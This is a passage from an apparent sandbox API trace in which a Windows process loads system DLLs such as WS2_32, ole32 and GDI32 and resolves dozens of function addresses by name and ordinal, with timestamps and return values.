(in: BaseAddress=0x71ee0000, Name="timeBeginPeriod", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x71ee9ef7) returned 0x0 [0188.297] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="timeEndPeriod", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x71ee9feb) returned 0x0 [0188.297] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="mixerGetControlDetailsW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x71ef4b87) returned 0x0 [0188.297] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="timeSetEvent", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x71eea65c) returned 0x0 [0188.297] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="timeKillEvent", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x71eea58c) returned 0x0 [0188.297] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x751c0000 [0188.300] LdrGetProcedureAddress (in: BaseAddress=0x751c0000, Name=0x0, Ordinal=0xb0, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x751d4266) returned 0x0 [0188.300] LdrGetProcedureAddress (in: BaseAddress=0x751c0000, Name="PathIsUNCW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x751da197) returned 0x0 [0188.301] LdrGetProcedureAddress (in: BaseAddress=0x751c0000, Name="PathCanonicalizeW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x751ce3af) returned 0x0 [0188.301] LdrGetProcedureAddress (in: BaseAddress=0x751c0000, Name="SHStrDupW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x751da0b7) returned 0x0 [0188.301] LdrGetProcedureAddress (in: BaseAddress=0x751c0000, Name="SHCreateStreamOnFileEx", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x751d2926) returned 0x0 [0188.301] LdrGetProcedureAddress (in: BaseAddress=0x751c0000, Name="PathFileExistsW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x751d45bf) returned 0x0 [0188.301] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75960000 [0188.306] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name="WSAConnect", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7596cc3f) returned 0x0 [0188.306] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name="WSAIoctl", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75962fe7) returned 0x0 [0188.306] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x5, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x75967147) returned 0x0 [0188.306] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x34, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x75977673) returned 0x0 [0188.306] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0xc, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x7596b131) returned 0x0 [0188.306] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x39, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x7596a05b) returned 0x0 [0188.307] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x70, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x759637d9) returned 0x0 [0188.307] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name="WSASocketW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75963cd3) returned 0x0 [0188.307] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name="WSAEnumNetworkEvents", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x759631b1) returned 0x0 [0188.307] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name="WSAEventSelect", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7596648f) returned 0x0 [0188.307] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0xf, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x75962d8b) returned 0x0 [0188.307] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x15, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x759641b6) returned 0x0 [0188.307] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x6, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x759630af) returned 0x0 [0188.307] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x2, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x75964582) returned 0x0 [0188.307] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x6f, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x759637ad) returned 0x0 [0188.307] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x8, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x75962d57) returned 0x0 [0188.308] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x4, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x75966bdd) returned 0x0 [0188.308] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x73, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x75963ab2) returned 0x0 [0188.308] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name="getaddrinfo", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75964296) returned 0x0 [0188.308] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x9, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x75962d8b) returned 0x0 [0188.308] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x16, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x7596449d) returned 0x0 [0188.308] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x74, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x75963c5f) returned 0x0 [0188.308] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x17, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x75963eb8) returned 0x0 [0188.308] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name="freeaddrinfo", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75964b1b) returned 0x0 [0188.308] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x3, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x75963918) returned 0x0 [0188.308] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x13, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x75966f01) returned 0x0 [0188.308] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x10, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x75966b0e) returned 0x0 [0188.309] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0xd, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x7596b001) returned 0x0 [0188.309] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x1, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x759668b6) returned 0x0 [0188.309] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0xa, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x75963084) returned 0x0 [0188.309] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x14, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x759634b5) returned 0x0 [0188.309] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0xe, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x75962d57) returned 0x0 [0188.309] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x11, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x7596b6dc) returned 0x0 [0188.309] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x75740000 [0188.314] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="OleSetClipboard", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x757a0045) returned 0x0 [0188.314] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="OleGetClipboard", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x757cfdcd) returned 0x0 [0188.314] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="StringFromGUID2", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x757822ec) returned 0x0 [0188.314] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="OleInitialize", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7575efd7) returned 0x0 [0188.315] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="OleUninitialize", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7575eba1) returned 0x0 [0188.315] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="ReleaseStgMedium", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7575d35c) returned 0x0 [0188.315] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="CoCreateInstance", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75789d0b) returned 0x0 [0188.315] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="CoInitializeSecurity", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75767259) returned 0x0 [0188.315] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="CoUnmarshalInterface", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7576f150) returned 0x0 [0188.315] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="CoTaskMemFree", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75796f41) returned 0x0 [0188.315] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="OleFlushClipboard", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x757cfc29) returned 0x0 [0188.315] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="RevokeDragDrop", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7575ea05) returned 0x0 [0188.315] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="DoDragDrop", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7584a827) returned 0x0 [0188.315] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="RegisterDragDrop", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7575e924) returned 0x0 [0188.316] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="PropVariantClear", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75783d79) returned 0x0 [0188.316] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="OleDuplicateData", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x757a0d39) returned 0x0 [0188.316] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="CoSetProxyBlanket", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75755ea5) returned 0x0 [0188.316] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="CreateStreamOnHGlobal", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7576363b) returned 0x0 [0188.316] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75130000 [0188.320] LdrGetProcedureAddress (in: BaseAddress=0x75130000, Name=0x0, Ordinal=0x13, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x7514e127) returned 0x0 [0188.320] LdrGetProcedureAddress (in: BaseAddress=0x75130000, Name=0x0, Ordinal=0x19, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x7514ea56) returned 0x0 [0188.320] LdrGetProcedureAddress (in: BaseAddress=0x75130000, Name=0x0, Ordinal=0x14, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x7514e173) returned 0x0 [0188.320] LdrGetProcedureAddress (in: BaseAddress=0x75130000, Name=0x0, Ordinal=0x2, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x75134642) returned 0x0 [0188.320] LdrGetProcedureAddress (in: BaseAddress=0x75130000, Name=0x0, Ordinal=0x8, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x75133ed5) returned 0x0 [0188.321] LdrGetProcedureAddress (in: BaseAddress=0x75130000, Name=0x0, Ordinal=0x9, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x75133eae) returned 0x0 [0188.321] LdrGetProcedureAddress (in: BaseAddress=0x75130000, Name=0x0, Ordinal=0x6, ProcedureAddress=0x36e8f8 | out: ProcedureAddress=0x36e8f8*=0x75133e59) returned 0x0 [0188.321] LoadLibraryA (lpLibFileName="COMCTL32.dll") returned 0x73a90000 [0188.363] LdrGetProcedureAddress (in: BaseAddress=0x73a90000, Name="InitCommonControlsEx", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x73ab09ce) returned 0x0 [0188.363] LdrGetProcedureAddress (in: BaseAddress=0x73a90000, Name="ImageList_DrawEx", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x73aa10fd) returned 0x0 [0188.363] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x75220000 [0188.363] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetBkMode", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523901a) returned 0x0 [0188.363] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CombineRgn", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523a903) returned 0x0 [0188.364] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateRectRgnIndirect", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523a764) returned 0x0 [0188.364] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="DeleteObject", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75235689) returned 0x0 [0188.364] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetRegionData", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523afcc) returned 0x0 [0188.364] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateDCW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523e743) returned 0x0 [0188.364] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="DeleteDC", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752358b3) returned 0x0 [0188.364] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="BitBlt", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75235ea6) returned 0x0 [0188.364] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetPixel", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523cbfb) returned 0x0 [0188.364] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SetPixel", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523ccee) returned 0x0 [0188.364] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GdiFlush", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523ae78) returned 0x0 [0188.365] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="ExtEscape", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752403b7) returned 0x0 [0188.365] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SetBkColor", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752352d8) returned 0x0 [0188.365] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetDeviceCaps", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75234de0) returned 0x0 [0188.365] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateFontIndirectW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75235c19) returned 0x0 [0188.365] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SetTextColor", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523522d) returned 0x0 [0188.365] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SetStretchBltMode", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75237180) returned 0x0 [0188.365] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SelectClipRgn", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75238916) returned 0x0 [0188.365] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SelectObject", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75234f70) returned 0x0 [0188.365] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="StretchBlt", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523b895) returned 0x0 [0188.365] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="ExcludeClipRect", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523a066) returned 0x0 [0188.365] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetTextMetricsW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752382b2) returned 0x0 [0188.366] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SetBkMode", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752351a2) returned 0x0 [0188.366] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="LineTo", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523b9e5) returned 0x0 [0188.366] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="MoveToEx", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75238ee6) returned 0x0 [0188.366] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="TextOutW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523d41c) returned 0x0 [0188.366] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SetTextAlign", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75238401) returned 0x0 [0188.366] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateRoundRectRgn", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75263736) returned 0x0 [0188.366] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetTextAlign", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75237fd5) returned 0x0 [0188.366] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="FillRgn", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523dfce) returned 0x0 [0188.366] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateSolidBrush", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75234f17) returned 0x0 [0188.366] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateRectRgn", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752377cf) returned 0x0 [0188.366] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="Polygon", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523cafc) returned 0x0 [0188.367] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreatePen", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523ba4f) returned 0x0 [0188.367] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreatePatternBrush", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75235dde) returned 0x0 [0188.367] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetStockObject", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75234eb8) returned 0x0 [0188.367] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SwapBuffers", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752659fb) returned 0x0 [0188.367] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SetPixelFormat", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7526594c) returned 0x0 [0188.367] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="ChoosePixelFormat", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7526588f) returned 0x0 [0188.367] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetViewportOrgEx", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75238659) returned 0x0 [0188.367] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateEllipticRgn", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752636ff) returned 0x0 [0188.367] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="IntersectClipRect", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75237dc4) returned 0x0 [0188.367] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetClipBox", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523af9f) returned 0x0 [0188.367] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="OffsetViewportOrgEx", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523ab56) returned 0x0 [0188.368] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetTextExtentExPointW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75246815) returned 0x0 [0188.368] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetKerningPairsW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7525954c) returned 0x0 [0188.368] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SetMapMode", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523b02f) returned 0x0 [0188.368] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetGlyphOutlineW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7525940d) returned 0x0 [0188.368] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SetDCPenColor", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75262389) returned 0x0 [0188.368] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateDIBSection", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523ac46) returned 0x0 [0188.368] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetTextExtentPoint32W", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523c107) returned 0x0 [0188.368] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SetBrushOrgEx", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75239541) returned 0x0 [0188.368] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetDCBrushColor", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7526232e) returned 0x0 [0188.368] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetObjectW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75236c3a) returned 0x0 [0188.368] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateBrushIndirect", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523b385) returned 0x0 [0188.368] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateBitmap", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75235d53) returned 0x0 [0188.368] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetBitmapBits", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523c155) returned 0x0 [0188.369] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateCompatibleBitmap", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75235f49) returned 0x0 [0188.369] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="RestoreDC", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75236ead) returned 0x0 [0188.369] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SaveDC", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75236e05) returned 0x0 [0188.369] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="OffsetRgn", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523b3d4) returned 0x0 [0188.369] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateCompatibleDC", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752354f4) returned 0x0 [0188.369] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetRgnBox", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7523b6aa) returned 0x0 [0188.369] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetClipRgn", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75238a43) returned 0x0 [0188.369] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x752b0000 [0188.369] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GlobalLock", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752dd077) returned 0x0 [0188.369] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GlobalAlloc", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c5846) returned 0x0 [0188.369] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GlobalUnlock", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752dcfb4) returned 0x0 [0188.369] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetLastError", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c11c0) returned 0x0 [0188.370] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GlobalFree", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c5510) returned 0x0 [0188.370] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="Sleep", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c10ff) returned 0x0 [0188.370] LdrGetProcedureAddress (in: 